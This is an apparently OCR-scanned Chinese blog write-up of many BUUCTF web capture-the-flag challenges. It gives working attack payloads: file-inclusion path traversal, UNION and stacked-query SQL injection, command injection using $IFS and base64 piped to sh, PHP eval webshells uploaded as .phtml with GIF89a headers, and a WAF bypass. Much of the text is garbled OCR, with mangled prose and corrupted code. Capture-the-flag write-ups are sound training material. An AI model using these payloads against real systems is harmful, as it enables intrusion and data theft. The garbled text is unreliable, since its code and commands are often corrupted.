BUUCTFwebf#(f i %

ain F 2021-02-10 18:38:14 KA 420 W, 3
SRER: webfUBL R
JRC#E$E: https:/mp.csdn.net/console/article

24 WX EO0ITH
BT

[HCTF 2018]WarmUp

T ML R — 5K, BttaM, B—TIRE, RIAGERE.

<html lang="en">

<head>
<{meta charset="UTF-8">
{mata name= wviewport® content="width=device-width, initial-scale=1.0">
<{mata http-equiv="¥-UA-Compatible” content="ie=edze”>
<titlerDocument</titler

</head>

<hody>
<l ——zource. php-->

Chrrdimg srodhttps:/ /1. 1oli. net/2018/11/01/Bbdb0d93dcTo4 jpe” /2 </ body>
<Shtml >

W00 = M b b=

— ek 1 e
(S N i |

Viisource.php, B4 TIHMG, BHATREHEIT.
SFH, #—HRemmm:checkFile, BT T —LLHkr.
PR —ANinclude, XHEE, BAIELRERIE, kL LEKcheckFile 7.


https://blog.csdn.net/qq_51558360
https://blog.csdn.net/qq_51558360/category_10790422.html
https://mp.csdn.net/console/article
https://blog.csdn.net/qq_51558360/category_10790422.html

iRk hint.php

< G A FZZ2 | 7c70f8bc-50ab-4e30-b61b-0debe1b7bf3c.node3.buucj.cn/hint.php

flag not here, and flag in ffffllllaaaagggg

includefil & B =AW % AF & 8 ERF 5 include $04T
checkFile N E

FE—ANif, pageREREBH B NFZRH

B AN, pageFEEEALHBS
_pageRpage N 45 2 ? A BB U — BT 5
FE=ANif, pageFEEHL BT

_page# AT urlf#rg

_page k4T AH R

$EIUANNf, pageBEEAL BT

WTER Bpayloady: ?file=source.php?/.. fffllaaaagggg, &itmb_strpos Asource.php?/.../ffllaaaagggg?, mb_strposiX /™
HFRBEERERAME, FFUEREIE—AN?HAMAE, Tmb_substrEi Bk %, MOFHER—EHIE—N?HME, BRAE
Asource.php, taiFEeE HEHEFMBATILE, W] hreturntrue;, BT PLEIE 3 — IR ERBUHAT Soid

riifTpayload: /?file=source.php?/.. ffffllaaaagggg, KIMEH Bnflag, MZRAERXABF, RERAWN.. /H&EHE
flag, payloadA: /?file=source.php?/.../.../...].. [fffllaaaagggg

[5% M #F 2019]B {7

Z HIIwp

[#% % Kk ik 2019]EasySQL


https://blog.csdn.net/qq_51558360/article/details/113758756

R—AWEBF LA R, RERMT —ARzL, RRFEHACH SHiEN!

PN

https:/fblog.csdn.net/qqu51558360

https://blog.csdn.net/qq_51558360

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near "1'"" at line 1

BHEHR, PR —THEN, JTREERAN or1
[#% % KBk % 2019]Havefun




BRI K

401 <fdivy

402 <fdivy

403 <fdivy

404 <fdivy

405 <fdivy

406 <fdivy

407 | </div>

408 ==

409 Fcat=3 GET[ cat’];

410 echo Jcat:

411 if(Fcat=="dog ) {

412 echo * Syclcat_cat_cat_cat}’ ;
413 }

414 -

415 <div style="position: absolute:bottom: 0:width: 99%: “><p align="center” style="font:italic
4186 </body>

417 | <html >

SRIETER AR F N/ ?cat
[SUCTF 2019]EasySQL

BEEER T — T, REASEN, RAIVERESEAR

1;show databases;

SIVE 1S ywul Gy, | Wi LS ywU 1 WIS Hay 15 1y,

Array ([0] => 1) Array ([0] => ctf) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test)

2235 N\ 1:show tables;

- - - -

=3

Array ([0] => 1) Array ([0] => Flag)

2%\ 1;show columns;

Give me your flag, | will tell you if the flag is right.

=3

Array ([0] => 1)

RIAATS
B 2|#Frpayload: 1;setsql_mode=PIPES_AS_CONCAT;select 1 #1*,1 (XA 2 %A i ¥E*)
JRIER: select$_GET['query] || flag from flag

[ACTF2020 #7 4 3% ]Include



< C A FZ2% | 72111252-dd0b-45af-ae48-4e6204f4f29d.node3.buuoj.cn/?file=flag.php

Can you find out the flag?

fFH “ohp:/filter"tAHH” SR#AT RS, RIEWiEpayload: ?file=php:/filter/read=convert.base64-encode/resource=flag.php

BESRERMLE SN, php/filterfi &4 A /EphpXXAFAT . BT LABRAT— BN Ht AT 4%, FHIEHAIAT . TS BE R SO 3
B,
XEFEEEMRMEHphp

[ % K Pk 2019]Secret File

#=E VRIS sidiArchive_room.php

{atyle type="text/cas” »
Hmaster {
position:absolute;
left:44%:
bottom:20;
text-align :center;

p.hl {

1
<fetyler

cursor: default;

<head?
<{meta charset="utf-8">
CtitleddBEAYER/title>
</head>

<hody style="bkacksround-color:black: “»<br><brr<br><br><br><br>

<hl style="font-familv:verdana;color:red; text-alizn:center; >

HIRMAERERET, ZFER <bry

Shly<br<bry<br><br><brr<br>

<a id="master” href=".faction. php” stvle="backeround-color:red; height:50px width:200px; color :#FFFFFF; left:44%; ">

<{font size=A>SECRET</font>

<far
<div style="position: absolute;bottom: 0;width: 99%; “><p alizn="center” stvle="font:italic 1E5px Georzia, serif color:white
<bodyr

<html >



A — action.php 2R J5 Mt Flend.php

930698ec-23ad-4bb9-8c90-36f21d4858d2.node3.buuoj.cn/end.php

3 Upgrade-Inse

HathBts REFmeT

m “n Actions w

GET /actich.php HTTP/L.1

Host: 9306 c-23ad-4bh8-8c80-36£21d48568d2 . nodel .buuc]j.cn
re-Regquests: L

11la/5.0 (Windows NT 10.0; Win&4; x&64) AppleW=bEKit/537
%cko) Chromes/87.0.4280.88 Safari/537.36

User-Agent: MO

(KHTML, Like
Acecept:
text/html, application/xhtml+xml, application/xml; q=0.9, imags/avif, imac
=bp, images/apng, */*;=0.8, application/signed-exchangs;v=h3; =0.9

& Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;¢=0.9

¢ Connection: close

Jj ldsecr3t.php

html >

<titlersecretd/titlel
{meta charset="UTF-8">

Yohp

highlizht file({ FILE
error_reporting (0);

$£ile=3_GET[ file’ ],

if(astrstr($file, “. . /") | |stristr (3file,  “tp”)||stristr($file, “input™) | |stristr(3file, “data™)) |

i
1 .

gcho “Oh  no!
exit():

1

include(3file);

3 Date: Wed, 10 Feb Z0Z1 0B:2B:10 GMT
Content-Type: text/html; charset=UTF-8

Raw Render \n

HTTE/Ll.l 302 Found

Server: openresty

Connection: close

6 Location: end.php

H-Powered-By: PHP/7.3.11

¢ Content-Length:

<!DOCTYFPE html>

<html>

secr3t.php

€3

& </html> \

INSPECTC

Query Para

Body Paran

Request Co

Request He

Response F



Shtml >

BT - TREZINTEAXHES, FLE—EBEHHAHR
payload’N: secr3t.php?file

[#% % KBk % 2019]LoveSQL

EA)- e R TR Sri

WV A L L
v M

M. Hello admin,

{ Your password is 'ba9659a0c3ee805b

5;’ T FE J
o e o PN B

P WS

FRELE

QiR

BN, ZIPMBRREBE—AHIG, HEAR, FEREIARZELESQLIEA
HHTFERE: %23R#

check.php?username=admin' order by 3%23&password=1

ZZE | e7fedb10-277c-4483-8f99-77f81844da2a.node3 buuoj.en/check php?username=admin%27%200rder%20by%204%23& password=1 8 | 1=

Unknown column "4’ in "order clause’

LFBRHON3M, WHEIRIEY, MHunion#E & k.

username=1' union select 1,2,3%23&password=1




Y

- Hello 2'

username=1"' union select 1,database(),3%23&password=1

H ello geek'

1g.csdn.net/qg_b1¢

username=1"' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schenm
a=database()%23&password=1




Helro ggeekI
if‘our pas_sword IS geekuser IOve1ysqt’

https://blog.

BB

username=1
1ovelysql'%23&password=1

Heﬂo g‘eek1 £

Qf‘our paasword is id ,username,passwojg

D
- e

F
r-\.

username=1' union select 1,database(),group_concat(id,username,password) from lOvelysql%23&password=1

lzlello g;,eek|
?"E Your password is -
.é:lqt'ﬂryw@ tai_nanile,2glzjinglzjin wantSee

_ng -7_ ? 1 -ﬁa4df24 b8f68}'

%,. -

RS
[GXYCTF2019]Ping Ping Ping

https://blfg.csdn.netiqg_51558360




C A %% | decb56a4-7f4d-4d36-89ec-7aede8bc3f97.node3 buuoj.cn

[?ip=

B SepingZitt (127.0.0.1)
/?ip=
PING 127.0.0.1 [127.0.0.1): 56 data bytes

REERFERE DS
BATE R EZXEER

ip=127.0.0.1||1s

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes
flaz. php
index. php

" LE BRI BB A, flag.phpflindex.php, ERBMNZFEEENag.phpEHMINE, HlinuxE K4 4-cat

ip=127.0.0.1| |cat flag.php

&« @] A ~Z= | dech56a4-7f4d-4d36-89ec-7aede8bc3f97.node3.buuoj.cn/?ip=127.0.0.1||cat%20flag.php

/?ip= fxck your space!

RS, MARMNLRLER, TTEREHEAHMTT URRERK TR, FlI ${1Fs}

ip=127.0.0.1| |cat${IFS}flag.php



& C A 7% | decb56a4-7f4d-4d36-89ec-7aede8bc3f97.node3.buuoj.cn/?ip=127.0.0.1||cat${IFS}flag.php

/?ip= Tfxck your symbol!

1fxck R I 755 !
R, AR

ip=127.0.0.1| |cat$IFS$1flag.php

&« @] A =% | dech56a4-7f4d-4d36-89ec-7aede8bc3f97.node3.buuoj.cn/?ip=127.0.0.1|[catsIFS$1flag.php

[?ip= fxck your flag!

flagtid 38 T, A2, ZFindex php

[?ip=

[ip=
VIV IO NN IVENG /7, 3ip, $match) ) {
echo preg_match(”/A& [N N vk [N Dy 003 vz 200 T P IV IV IV O INCINT IV DD /7, $ip, Fmateh)
die("fxck your symbol!”);
} else if(preg match(™/ /7, $ip)l{
die("fxck your space!”):
} else if(pres match(”/bash/”, 3ip)){
die("fxck your bash!”);
} else iffprez match(™/. #f. %1, %a. +2. /7 $ip)){
die("fxck your flag!”);

}
$a = shell exec("pinz -c 4 7. $ip);
echo ™

i

Iprint_r($a);

T

B PhEgd
ip=127.0.0.1;a=g;cat$IFS$1fla%a.php

%2 AT LAF A base64 5t
¥ cat flag.php base64 4% Y2F0IGZsYWcucGhw

ip=127.0.0.1| | echo$IFS$1Y2FOIGZsYWcucGhw$IFS$1|$IFS$1base64$IFS$1-d”

¥E = FEbash#l T ¥ HIE I T AT P22k sh

ip=127.0.0.1|echo$IFS$1Y2FOIGZsYWcucGhw|base64$IFS$1-d|sh




[ACTF2020 i 4 3% ]Exec

EREMEE—H, WAEARRXEREMEHTPOSTES
ping—£127.0.0.1, W EA%RJE#47127.0.0.1;cat flag;

PING

PING

PING 127.9.0.1 (127.0.0.1): 56 data bytes
flag{bf6d8a97-437f-4b9c-85dd-effb32d51F88}

[ 2 K Pk bk 2019]Knife

g.csdn.net/gq

WP YT - L
AntSword EBE ‘O #E&
. =
= HEEE (13) B 5325HR (1)
URLHh A 1Pt WENE i BIEER(A] BRI O Fm



http://challenge-af3baf2a9b8d1a6 47.98
http://challenge-6d513be5637ab8 47.98
http://challenge-7e5a79153d3e8f: 47.98
http://challenge-ae46991d113145 47.98
http://challenge-f6b82de00a61d8c 47.98
http://challenge-f6b82de00a61d8c 47.98
http://challenge-f6b82de00a61d8c 47.98
http://challenge-6bfa86fb318c49d 47.98
http://challenge-6bfa86fb318c49d 47.98
http://challenge-6bfa86fb318c49d 47.98
http://challenge-2be85c27bd8396| 47.98
http://challenge-e3c1a8b4af163fa 47.98
http://challenge-e3c1a8b4afi63fa 47.98

M Fhohig

Q% x BT OMidEE

B EulEE

URLHEE *
P&
RRRE
ERER

© kiR
8 Hitigs

http://fee5e5d3-652f-42a5-bec-d91c022f309d.node3. buuoj.cn/

Syc

UTF8
PHP

S

@ default (-#35)

) random (7HESE)

) base64

)

Oz » | #LE | SRE | #EEF | NHE = | |/

« 52 [D111.73.45.58 (0111.73.45.58
0 BRFi3% (20) < | [ 3cfE3iEk (22)
=7 /

« I var 235
I bin D dev
= boot 0O etc
M data 3 |
: dte" 0 b

etc
B home O libs4
™ b (O media
M lib64 0 mnt
M media O opt
| mnt O proc
I opt O root
I proc O run
M oot [ shin
= run O sv
= sbin O sys
| sy S
o sy
- 0O usr
= usr O var
D .dockerenv
[V flag
= FEIE
TEMR H FH 2flag

2018]easy_tornado

H &
2021-02-10 09:50:32

2021-02-10 09:50:32
2014-04-10 22:12:14
2016-07-11 23:23:25
2016-07-11 23:23:12
2016-07-11 23:22:49
2014-04-10 22:12:14
2016-07-11 23:22:49
2021-02-10 09:50:32
2016-07-11 23:23:35
2019-11-19 09:30:15
2016-07-22 15:18:57
2016-07-11 23:22:49
2021-01-21 18:29:34
2021-02-10 09:50:33
2016-07-22 15:18:57
2019-11-19 09:28:18
2021-02-10 09:50:32
2021-02-10 09:50:33

340 b
66 b
6b
208 b
34b
6b
6b
6b
0b
37b
33b
44 b
6b
0b
6b
81b
28b
0b
43 b

O BfiAspa

Bt
0755

0755
0735
0755
0755
0735
0735
0755
0555
0700
0735
0755
0755
0535
1777
0755
0755
0735
0644




WP

&~ C A FZ% | f3afablc-11f8-42fa-a2a8-82c9fdbce338.node3.buuoj.cn/file?filename=/fllllIag&tfilehash=24e99b21ddf70c1e0646784d0f2412eb

/Aag
flag{a3374778-cf6c-4e69-87fd-75f40bb9b2a2}

[RoarCTF 2019]Easy Calc

]


https://blog.csdn.net/qq_51558360/article/details/113758756

A 742 | node3.buuoj.cn:28386 % 1

BATELT
it

ZARIERNME SN IEH 17 5 A0 AR R [ 1E 3 45 51

8 B #2758 waf, BT LA\ AR5 -5 0 2 BEAR 2 Bk HH X % 1 F 1) BERLAE
F12& T —F JUH KIS

RIHE R A cale.php B E iH5E

<hody>

{div class="container text—center” style="marszin-top:30px; >
<hZrFRIATL S M2
{form id="cale”>
{div class="form-group” >
{input type="text” class="form-control” id="content” placeholder="$0i A E " data-com azi
<Sdivy
<div id="result”»<div class="alert alert-success’>
i divy

{hutton type="submit” _class="bin bin-primary >iHE<buttons
</ form> /

<Sdivy
{1--I've set up WAF to ensure security. —-»
<scriptr
$C #eale’ ). submit (function () {
$.ajax({
url:“cale. php?mum="+encodelRIComponent (3 (" #content ™). val ()]
tvp T,
ceess:function(data) {
F 0 8result”) . himl O <div class="alert alert-success »
{strong ¥E3 {/stronz>d {datal
Cfdivy )
}

error:function() {

alert ("IERETE AR
}
1)

return false;

)
<fseripts

[ B e L S R e LW I L W]

bodvr < html >

url:“calc.php?num="+encode URIComponent($("#content").val()),

R PHPHF AT 8B A e
num=phpinfo

20num=phpinfo
PHP=£F & @ i 7 — MR A

php &M BR = %
php &# — LR 5 H BN T RIL



Vilalcalc.php, B T IENL

<Iphp

error_reporting (0):

it (1isset ($_GETL mm’ 100§
show_source(_ FILE_ };

telse
$str = F_GET[ num 1,
$olacklist = [0 7, "', "ne’, OO, 0T 0T N, AN W AT T
foreach ($blacklist as $blackitem) |
if (prez_match(l /" . Sblackitem . ~/m', 3stri) |
die(“what are you  want  to dD?”);
1
]
eval (' echo 7. 3str.” 7 )
}
o

AUE WEIE T — BBk TAT, REevaliiT BATH a2
BAVEEREZEmMAH AR, WiEwmd

calc.php?%2@num=var_dump(scandir(chr(47

var_dump2ITENS N A, scandir@BEESHEZEMARMBEZR, chr@d7)sta"", " EdiE T, BRAMEHCchr(47)5 S

< (@] A =2 | node3.buuoj.cn:28386/calc.php?%20num=var_dump(scandir(chr(47))) ve @ i= [ ]

array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "flagg" [8]=>
string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media” [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc” [15]=> string(4) "root" [16]=> string(3)
"run” [17]=> string(4) "shin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

ALERH —1Magg, RINEFBENAE

calc.php?%2@num=var_dump(file get contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103

num=var_dump(file get contents(chr(47).flagg

file_get contents @44 A SN —ANF R

& C A FE% | node3.buuoj.cn:28386/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

string(43) "flag{0525c4ae-6d77-4f0a-bee3-3e321430366a} "

[ 2 K Bkik 2019]Http



BEIRD

</section”

<I== Twa —>
<section id="two” class="wrapper alt style2”>
{section class="spotlizht”>
{div class="image ><img sre="imazes/picOl. jpg” alt=
<2 MATET T < /hly
<p> - FRAZAT[E]: 2005535 br [3dbr />

/3</div><div class="content”>

- B SEE. BMTE. BRE. OTEfES. BiRe. 4R, SRNIREZENAEZE A er Sdr
- ARIEER. AT RN EMSE AR M AMEZ SRR, A ANESAFEEE— M RIFMEEELSIA G style="border inone; cursordefault; ” onelick="return false” href="Sseret. php SFE
<Jldiv>
</section>
section>

sre="assets/js/ jauery. min, js“><{/script>
src="assets/js/ jauery. scrolles. min. jg"»</script>
sre="assets/ js/ jauery. scrolly. min. jg“»</script>
sre="assets/js/skel. min. js"></script>
sro="assets/js/util. jg"></seript>

1

14n TR @ D e B T P L [T L P

RN

RATR A

L36-30327W1-00067-5

e

\n  Actions w

1 GET /Secret.php HITE/1.1

2 Host: nodel.buucj.cn:28930

3 Upgrade-Insecure-Requests: 1

illa/5.0 (Windows NT 10.0; Win&4; =£4) AppleWebKit/537.3F (KHIML, like Geck Chrome/87.0.4280.88 Safari/537.36

5 Accept: text/html,application/xhtml+xml, application/xml;cq=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;g=0.89

4 User-Agent: Mo

Connection: close

Btheaderin—17:
Referer

W& Kk 2019]Upload



Hf: el st

Efe—A—HEAR S Hjpgtk R

BT — A —HTEARS
ME—AMHEEAN: phtml, EA—GERS

GIF89a
script language $_POST script



&, bpEEHE—TF

POST /upload file.php HTTE/L.1 |
Host: lal004l17c-ed05-41d4-9daa-ef2da37768kbe. noded  buuoj.cn

Content-TLength: 3559

Cache-Control: max-ages=0

Upgrade—-Insecure-Requests: 1

Origin: http://lal0417c-=d05-41d4-9daa-££2dai7768ke . node3 . bunej.cn

Content-Type: multipart/form-data; boundary=----WebKitFormBoundar ywadx YDl tNyQzDiP
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64) AppleWebKit/537.36 (EKHTML, like Gecko)
Chrome/85.0.4183.121 Safari/337.36

Accept:

text/html, application/xhtml+xwl, application/xml; q=0.9, image/avif, image /webp, image/apneg, */*;
pplication/signed-exchanges;v=hb3;=0.9

Referer: http://1al0417c-ed05-41d4-9daa-E6£2da57768be . node3 . buuoj . cn/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.89

Connection: close

—————— WebKitFormBoundar ywald x¥DmLtNyQzDiP
Content-Disposition: form-data; name="file"; filenames="&.phtml"

Content-Type: application/octet-stream

5IFE5a
<script language="php">eval(§_POST[ 'shell']);</script>

—————— WebKitFormBoundar ywald x¥YDmLENy Q=D P

Content-Disposition: form-data; name="submit"

—————— WebKitFormBoundar ywald x¥YDmLENyQzDjP-—

# Content-Type i Aimage/jpeg

Frety [PERcl Actions Pretty  JR4% n Actions v

POST /uplead file.php HITP/L.l

Host: lal04l7c-=d05-41d4-Ydaa-£f2dad7768be. node3 . buuoj.cn

Content-Length: 344

Cache-Control: max-age=0

Upgrade-Insecure-Requests: |

Origin: http://lal041l7c-ed05-41ld4-9daa-6£2da37768kbe. node3 buuoj.cn

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywa3x¥YDmLtNyQzDiP
User—Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; xE4) AppleWebKit/337.3€ (KHIML, like Gecko)
Chrome/85.0.41683.121 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image /webp, image/apng, */*;
pplication/signed-exchange; v=b3;¢=0.0

Referer: http://lal0417c-edD5-41d4-9cdaa-Ef2da57768be . noded .buucy.cn/

Accept-Encoding: gzip, deflate

Accept-Languags: zh-CN,zh; 0.8

Connection: close

qumm.muk
T

W N e

I

—————— WebKitFormBoundarywadxYDrltNyQzDIE
Content-Disposition: form-data; nams="file"; filename="&.phtml"

Content-Type :image/jpeg \
GIFESa

<script language="php">eval(§_POST['shell']);</script>

G o

MEow e

—————— WebEitFormBoundarywadxYDrl tNyQzDIF
Content-Disposition: form-data; name="submit"

=

w
[T
o

6 |———-—- WebKitFormEoundarywadx¥Dmk tNyQzDiP-—

[N

https:/blog.csdn.nel

AR5 LS
/upload/6.phtml



= EiE: [flag

1 flag{ca88e5a9-1t628-4b81-abe3-8bbg7tdb5d46}
2

https://blog.csdn.

bmVOL3FxXzUxNTU4MzYw,size_16,color FFFFFF,t_70)

[#% % X Bk kk 2019]BabySQL

ZRTEEEG 1' or 1=1 # S /RERROER
{H AT RS TER], P AEE Elor

You have an error in your SQL syntax; check the manuatthatcorresponds)te<your MariaDB server version for the right syntax to use near '1=1 #" at line 1

VA AT

1t N Au

JE W J5 v Freplace ()R BUT 8, Zl M Sor: 1' oorr 1=1 #
EHEE, BRBRAIVENGAL.

. Helloradmink

= Your passward:is:4b5a%8d78bc3a8647404737c058¢

2
| |
-i g !-_ ————

5-.—1'5'
]
]

At




et/qq_s1558360

WHR7 B %1 order by 3 #

version for the right syntax to use near 'der 3 #" at line 1

orderE Tt Hor, T HbyH#IIE T, FILAXE: 1' oorrder bbyy 3 #
R T4

Unknown column<4' in 'order clause’

blog.csdn.net/ggq_51¢

WHFRHEERN 3;
HATEREEH; 1 union select 1,2,database() #

the right syntax to use near '1,2,database() #" at line 1

https://blog.csdn.net/gq_515

EitEk, union, selectF#iTIE T ;
a4



Hel I;Ot 20
Your p@ssvxg__s_rd"js{geek'

s

Btig®://Blog.csdn.netiqg_51558360

g T

: four passwerdiis:b4bsql,geekuser

i

https://blog.csdnhetigg_5%

& Fb4bsqlE I 51:

1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table

EIIS

w  Hellor2 I
1 gfour passwardis<id,username,password’

|

rE L - 8 F $tneihlof cedn da
i : E TN - https://blog.csdn.net ‘qu

H#F username,password:



1' uniunionon selselectect 1,username,passwoorrd frfromom b4bsql

WIGHEITTREIREE T, BEFAE:

1' uniunionon selselectect 1,2,group_concat(schema_name) frfromom (infoorrmation_schema.schemata)

~ Hellor2 1

A ¥our passwordis:

i Em:formahon schema ,mysql,performang aaEamtest, ctf,geek’
AV 1 ER

s % v e https://blog.csdn.net/gq_51558360

BREL:

Hellor2 I

¥our passwerd is<Flag’




er 3

«  Hellor2 I

=

Your passwardisflag

s -s

1' uniunionon selselectect 1,2,flag frfromom ctf.Flag

. Hellor2!
Your passward:is:flag{4b031eb1-a151-48a0-a521-cf0813cH5fcy

=T
-

w“_

check.php?username=1" uniunionon selselectect 1,2,database()%23&password=123

| ‘Heltor2!
?I’f—our paSSW@rd -iS-'f_Qeek'

<

=

-1

-
]

check.php?username=1" uniunionon selselectect 1,2,group_concat(table name) ffromrom infoorrmation_schema.tables
whwhereere table schema=database()%23&password=123

Heflor2!
our passwerdiis:b4bsql,geekuser

P

BB

check.php?username=1
b4bsql'%23&password=123




._T J

N Hedtor2 N

-

. pfour passwordiis:id,username,password’

PREHE -

check.php?username=1" uniunionon selselectect 1,2,group_concat(id,username,password) ffromrom b4bsql’%23&passwonr
d=123

Unknown column*'passwd"in *field list’

AT passwoorrd:

check.php?username=1"' uniunionon selselectect 1,2,group concat(id,username,passwoorrd) ffromrom b4bsql%23&passui
ord=123

aflag{4b031eb1

hitps:/blog.csdn.net/gg_51

[ACTF2020 i 4 % ]Upload



B LA — A8 jpg X (BRI &H —REARS), I8, BEUE%4 Sphtml

Raw | Params | Headers | Hex Raw [ Headers | Hex

n Actions

Jf¥:  Render n Actions ¥

M49.028,49.956c2.344, 1.£48,4.709,3.274,7.077,4.887c0. 628,0.428,1.043,0.387, 1. €50
©0.839-0.653, 1.£99-0.653,2.537,0c1.704,1.331,3.408,2. 661,5.121,3.987c0. 615,0.481
c2.369-1.613,4.725-3.247,7.086-4.874c0.473-0.325,0.651-0.772,0.525-1,338c-0.09 1~
©-0.428,0.026-0.88,0.21-1.245,0.443¢-0.899,0.564-1.75€, 1. 198-2 . £28, 1. B04c-0.794,
<-0.772,0.534-1.€78,0.551-2.416-0.02¢-1.781-1.361-3.56-2.781-5.33-4, 185c-0.543-0
c-1.771,1.404-3.541,2.804-5.328,4. 181c-0.742,0.575-1.648,0.562-2.425,0.024c-1. 65
.204-0.143-0.413-0.278-0. £36-0.376c-0.814-0.355-1. 507, 0. 114-1. 61, 1.089c48 . 567
.706,69.17c1.503-1.066,3.174-2. 148, 4.762-3,23c0.433-0.293,0.533-0.718,0.451-1
.331-0.012-0.712,0.114-0.997,0.293-0.946,0.599-1. 850, 1.252-2. 787, 1. 878e-0.88
.926-0.729-1.854-1.457-2.761-2. 18c-0.52-0.405-1.094-0.403-1.618,0.008¢-0.927,
.841,0.E61-1.728,0.£94-2 . £15,0.096c-0.913-0. £17-1.818-1.245-2.732-1.857c-0.72

c-0.38€,0.562-0.22, 1.265,0.432, 1.712¢1.502,1.037,3.008,2.06,4.521,3.081c0. 596, 0.

c0.955-0.717,1.889-1.463,2.849-2. 173c0.768-0.572, 1. 585-0.569,2.355,0.003c0.96,0.

©0.232,0.173,0.526,0.271,0.787,0.309C69. 262, £9. 355, 69. 511, 69,304, £9. 70, £9. 17"/
</

1 POST / HTTR/1.1
2 Host: 3cl3f98c-££37-4£8=-8187-34£5h8cdb7he3 . node3 .buuoj. cn
3 Content-Length: 315
4 Cache-Control: max-ag:
S Upgrade-Insecure-Requests: L
Origin: http://3cl3f08c-££37-4£82-0187-34£5h8cdbTheld. node3  buuoj.cn
Content-Type: multipart/form-data; boundary=----WebEitFormBoundar yKjcOLCWAKSO0r Xgm -
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; xE4) AppleWebKit/537.36 (KHTML, like Gecko
Chrome/85.0.4183.121 Safari/537.3€
: hccept:

text/htnl, application/xhtml+xml, application/wml; o=0.9, imags/avif, image /webp, image/apng, */* ; q

T

pplication/signed-exchange;v=h3;q=0.9
o Referer: http://3c13f98c-E£37-4£8e-B187-34E5b8dbThe3 . noded.buuoy.cn/
1 hccept-Encoding: gzip, deflate
2 Accept-Language: zh-CH, zh;q=0.9

Connection: close

</svyg>
<div class="light">
<span class="glow">
<form enctype="multipart/form-data” method="post" onsubmit="return checkFile ()">
0000000000
<input class

5 —mmm—-] ebKitFormBoundar K cOLOWAXSO0: Xom
£ Content-Disposition: form-data; name="upload file"; filename="3.phtml"
7 Content-Type: image/jpeqg

<rphp @eval(s POST['aa']) ;7> nput_file" type="file" name="upload_£il="/>
;] itFors ¥KcOLOWAXSO0: Xgm

1 Content-Dispesition: form-data; nams="submit"
- 10 </span>

<input class=
</ form>

button” type="submit” name="submit" value="upload"/>

<span class="flare"s</span>
<div>
</div>
</ div>
<div style="color:#r00">
Upload Success! Look here~ ./uplodd/e5e0213acldel9edecf5dBfci476a84d. phtml
</ div>
</body>
111 </html> A

upload
777777 WebKitFormBoundar yKjcOLCWARSO0r Xgm——

v IFT
D& (&) (2] [seore weng | (D (¢ (2]

Al 8 B79Z2% | 63ZF |

m
3

s
at
5
B

B

1 #&iE: /flag

1 flag{71699f35-a240-4890-b3ab-a3f468f85had}
2

[ACTF2020 #7 4 3§ ]BackupFile



C A %22 | 69ffb7c2-dedc-4389-8abb-a8a39817e35e.node3.buuoj.cn

Try to find out source file!

WRIERR, =& SO R
rar

.Zip

Tz

targz

.bak

SWp

Ixt

.html

PLEREMXHRER, BT Fwww.zp ST, BiZEHE, F=&HMHdirsearchia$iH %
#index.php.bak



Ean LI L) ot n e A Iy ==\ v el LY
<?php
include once "flag.php”;

if(isset($ GET['key')) {
$key = $ GET['key'];
if(lis_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if(Skey == $str) {
echo $flag;
}
}

else {
echo "Try to find out source file!";

}

1 B P 55 2R R g
MR R T, getfe Akey, 5—8BIFLN12BHFRFBLE .. == AL, HESkey=123M A LL. HiEiflag.

< C O %% | 69ffb7c2-dedc-4389-8abb-a8a39817e35e.node3.buuoj.cn/?key=123

flag{07068922-1802-43f7-bd2b-0d111b36e75e}

[HCTF 2018]admin IEZE %



S
admin/123

hctf

Hello admin
flag{11073ddd-51b4-4c7d-a319-d1835222b9%e4}

Welcome to hctf

[#% % K $k ik 2019]BuyFlag



FLAG

FLAG NEED YOUR 100000000 MONEY

o = R B A - ¥=T=1-1 'F-] J=f 1A tile J= <y Sl LR LS
81

82 </body>

83| <!--

84 “"post money and password

85| if (isset(3 POST[ password 1)) 1

86 $password = 3_POST[ password’ ];

87 it (is_numeric($password)) |

88 gcho “password can’ t be number</br>”;
89 Yelseif ($password == 404) |

a0 echo “Password Risht!</br>";

91 }

92 |}

93| -->

94 | </html>

g5

it E A Tpostid & —moneyfl—/ password, passwordEZT404, I HpasswordANGENEF, IFHEATTCAHIGHRR, B
ikpassword=404a.

e

n Actions w

Pretty

1 GET /pay.php HTTE/Ll.1

2 Host: ZtBacfdd-cT8e-4cbb-ald40-adaalleciT50.node3 . buucj.cn

3 Upgrade-Insecure-Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) AppleWsbKit,/537.3f (KHTML, like Gecko) Chrome=/85.0.4183.121 Safari/537.36

Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchangs;v=b3;=0.
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.8

Connection: close

S T T

#nCookie

[SUCTF 2019]Checkin



EfE—AEARDE R

Upload Labs

MR | SR R

A

<? in contents!

XA BT TRE. i, BAMR—MARSER.

script language eval($_POST[ 1);</script

